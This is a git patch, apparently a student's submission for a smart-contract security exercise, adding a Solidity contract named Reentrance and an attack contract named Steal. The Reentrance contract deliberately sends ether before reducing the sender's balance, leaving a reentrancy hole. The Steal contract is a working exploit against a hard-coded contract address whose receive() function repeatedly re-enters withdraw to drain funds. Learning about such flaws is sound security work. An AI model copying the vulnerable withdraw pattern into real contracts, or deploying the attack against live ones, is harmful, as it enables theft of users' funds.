From 480dfb8c5bed283390b5dae8a6f66037aeb8f096 Mon Sep 17 00:00:00 2001 From: Pedro Date: Sat, 29 Oct 2022 13:43:47 -0300 Subject: [PATCH] entrega reentrance --- .../Pedro Dannecker/Reentrance/Reentrance.sol | 27 +++++++++++++++++ 2022.2/Pedro Dannecker/Reentrance/Steal.sol | 30 +++++++++++++++++++ 2 files changed, 57 insertions(+) create mode 100644 2022.2/Pedro Dannecker/Reentrance/Reentrance.sol create mode 100644 2022.2/Pedro Dannecker/Reentrance/Steal.sol diff --git a/2022.2/Pedro Dannecker/Reentrance/Reentrance.sol b/2022.2/Pedro Dannecker/Reentrance/Reentrance.sol new file mode 100644 index 0000000..d1969cb --- /dev/null +++ b/2022.2/Pedro Dannecker/Reentrance/Reentrance.sol @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract Reentrance { + + mapping(address => uint) public balances; + + constructor () payable {} + + function donate(address _to) public payable { + balances[_to] += msg.value; + } + + function balanceOf(address _who) public view returns (uint balance) { + return balances[_who]; + } + + function withdraw(uint _amount) public { + if(balances[msg.sender] >= _amount) { + (bool result,) = msg.sender.call{value:_amount}(""); + require(result, "Failed to send eth"); + unchecked { + balances[msg.sender] -= _amount; + } + } + } +} diff --git a/2022.2/Pedro Dannecker/Reentrance/Steal.sol b/2022.2/Pedro Dannecker/Reentrance/Steal.sol new file mode 100644 index 0000000..34b26c0 --- /dev/null +++ b/2022.2/Pedro Dannecker/Reentrance/Steal.sol @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "./Reentrance.sol"; + +contract Steal{ + + + Reentrance public contrato= Reentrance(0x2B420085C4671023817Fb96E839A3c6b28C0ea39); + + constructor () public payable {} + + function donate() external payable { + require(address(this).balance>=100 wei); + contrato.donate{value: 100 wei}(address(this)); + } + + + function getBalance(address _to) external view returns (uint){ + return address(_to).balance; + } + + function withdraw() public{ + contrato.withdraw(100 wei); + } + + receive() external payable { + contrato.withdraw(msg.value); + } +}